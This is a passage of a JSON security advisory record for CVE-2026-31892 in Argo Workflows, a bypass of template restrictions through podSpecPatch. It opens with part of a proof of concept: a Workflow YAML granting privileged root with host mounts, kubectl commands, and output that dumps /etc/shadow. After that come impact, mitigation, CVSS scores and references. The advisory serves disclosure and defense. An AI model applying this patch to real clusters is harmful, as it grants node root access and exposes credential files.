bypass-security-\n  namespace: argo\nspec:\n  workflowTemplateRef:\n    name: secure-template\n  podSpecPatch: |\n    hostPID: true\n    hostNetwork: true\n    containers:\n    - name: main\n      securityContext:\n        privileged: true\n        runAsUser: 0\n        runAsNonRoot: false\n        allowPrivilegeEscalation: true\n        capabilities:\n          add:\n            - ALL\n          drop: []\n      volumeMounts:\n      - name: host-root\n        mountPath: /host\n    volumes:\n    - name: host-root\n      hostPath:\n        path: /\n        type: Directory\nEOF\n```\n\nWait for completion and check logs:\n\n```bash\nBYPASS_WF=$(kubectl get workflow -n argo -o name | grep bypass-security | tail -1)\nkubectl wait -n argo --for=condition=Completed \"$BYPASS_WF\" --timeout=120s\nkubectl logs -n argo -l \"workflows.argoproj.io/workflow=$(basename $BYPASS_WF)\" -c main\n```\n\nExpected output (all security settings bypassed):\n\n```\n=== Security Context Check ===\nCurrent UID: 0\nCurrent GID: 0\nroot:*::0:::::\nbin:!::0:::::\n[... /etc/shadow contents dumped ...]\nEXPLOITED: Can read /etc/shadow!\nEXPLOITED: Host filesystem accessible!\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n[... host /etc/passwd contents ...]\nEXPLOITED: Running as root!\n=== End Check ===\n```\n\nThe file `/etc/shadow` is readable (root), the host filesystem is mounted and accessible, and the container runs as UID 0.\n\n## Impact\n\nThe purpose of `templateReferencing: Strict` is to restrict users to only execute admin-approved `WorkflowTemplates`. This is explicitly [documented](https://argo-workflows.readthedocs.io/en/latest/security/) as a security feature:\n\n> You can typically further restrict what a user can do to just being able to submit workflows from templates using the workflow restrictions feature.\n\nA user who can submit Workflows referencing approved templates can use `podSpecPatch` to:\n\n- Run containers as root (`runAsUser: 0`)\n- Enable privileged mode (`privileged: true`)\n- Mount the host filesystem (`hostPath` volumes)\n- Share host PID/network/IPC namespaces (`hostPID`, `hostNetwork`, `hostIPC`)\n- Add all Linux capabilities (`capabilities.add: [\"ALL\"]`)\n\nThis effectively grants the user full root access to the underlying Kubernetes node, regardless of what security constraints the admin configured in the `WorkflowTemplate`.\n\nThe `templateReferencing` feature was introduced in Argo Workflows v2.9.0 through PR #3149.\n\n## Mitigation\n\nWhen `templateReferencing: Strict` or `Secure` is enabled, the controller should reject Workflows that include a `podSpecPatch` field when using `workflowTemplateRef`.\n\nWithout the codefix, deploying an admission controller (OPA/Gatekeeper, Kyverno) with policies that block dangerous pod settings (`privileged`, `hostPID`, `hostNetwork`, `hostIPC`, `hostPath`) on pods created by Argo Workflows.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-3wf5-g532-rcrr.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From 2.9.0 to before 4.0.2 and 3.7.11, A user who can submit Workflows can completely bypass all security settings defined in a WorkflowTemplate by including a podSpecPatch field in their Workflow submission. This works even when the controller is configured with templateReferencing: Strict, which is specifically documented as a mechanism to restrict users to admin-approved templates. The podSpecPatch field on a submitted Workflow takes precedence over the referenced WorkflowTemplate during spec merging and is applied directly to the pod spec at creation time with no security validation. This vulnerability is fixed in 4.0.2 and 3.7.11.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-31892.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "0.00035",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                    "title": "CVSSV4"
                },
                {
                    "category": "other",
                    "text": "8.9",
                    "title": "CVSSV4 base score"
                },
                {
                    "category": "other",
                    "text": "4.1",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is cwe data available from source Redhat, There is cvss data available from source Redhat, There is product data available from source Redhat",
                    "title": "NCSC Score top increasing factors"
                },
                {
                    "category": "other",
                    "text": "Is related to (a version of) an uncommon product, Is related to an uncommon product vendor, The value of the most recent CVSS (V3) score, There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                },
                {
                    "category": "details",
                    "text": "Severity: 3\n",
                    "title": "Vendor assessment"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5795942",
                    "CSAFPID-5795945",
                    "CSAFPID-1439279",
                    "CSAFPID-1455889",
                    "CSAFPID-1455890",
                    "CSAFPID-1455891",
                    "CSAFPID-1455892",
                    "CSAFPID-1455893",
                    "CSAFPID-2976375",
                    "CSAFPID-2976376",
                    "CSAFPID-2976380",
                    "CSAFPID-2976381",
                    "CSAFPID-2976382",
                    "CSAFPID-2976383",
                    "CSAFPID-2976384",
                    "CSAFPID-5838850",
                    "CSAFPID-5838851",
                    "CSAFPID-5813180",
                    "CSAFPID-5907150",
                    "CSAFPID-5907264",
                    "CSAFPID-5907265",
                    "CSAFPID-5907283",
                    "CSAFPID-5909582",
                    "CSAFPID-5909583"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31892"
                },
                {
                    "category": "external",
                    "summary": "Source raw - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-31892"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-31892"
                },
                {
                    "category": "external",
                    "summary": "Source raw - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/31xxx/CVE-2026-31892.json"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-3wf5-g532-rcrr"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-3wf5-g532-rcrr"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-31892"
                },
                {
                    "category": "external",
                    "summary": "Source raw - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-31892"
                },
                {
                    "category": "external",
                    "summary": "Source raw - redhat",
                    "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-31892.json"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-3wf5-g532-rcrr"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Bitnami%2FBIT-argo-workflows-2026-31892.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4681.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-3wf5-g532-rcrr.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-31892.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv; redhat",
                    "url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-3wf5-g532-rcrr"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv; redhat",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31892"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-3wf5-g532-rcrr"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-31892"
                },
                {
                    "category": "external",
                    "summary": "Reference - osv",
                    "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/31xxx/CVE-2026-31892.json"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
                        "baseScore": 9.9,
                        "baseSeverity": "CRITICAL"
                    },
                    "products": [
                        "CSAFPID-1439279",
                        "CSAFPID-1455889",
                        "CSAFPID-1455890",
                        "CSAFPID-1455891",
                        "CSAFPID-1455892",
                        "CSAFPID-1455893",
                        "CSAFPID-2976375",
                        "CSAFPID-2976376",
                        "CSAFPID-2976380",
                        "CSAFPID-2976381",
                        "CSAFPID-2976382",
                        "CSAFPID-2976383",
                        "CSAFPID-2976384",
                        "CSAFPID-5795942",
                        "CSAFPID-5795945",
                        "CSAFPID-5813180",
                        "CSAFPID-5838850",
                        "CSAFPID-5838851",
                        "CSAFPID-5907150",
                        "CSAFPID-5907264",
                        "CSAFPID-5907265",
                        "CSAFPID-5907283",
                        "CSAFPID-5909582",
                        "CSAFPID-5909583"
                    ]
                }
            ],
            "title": "CVE-2026-31892"
        }
    ]
}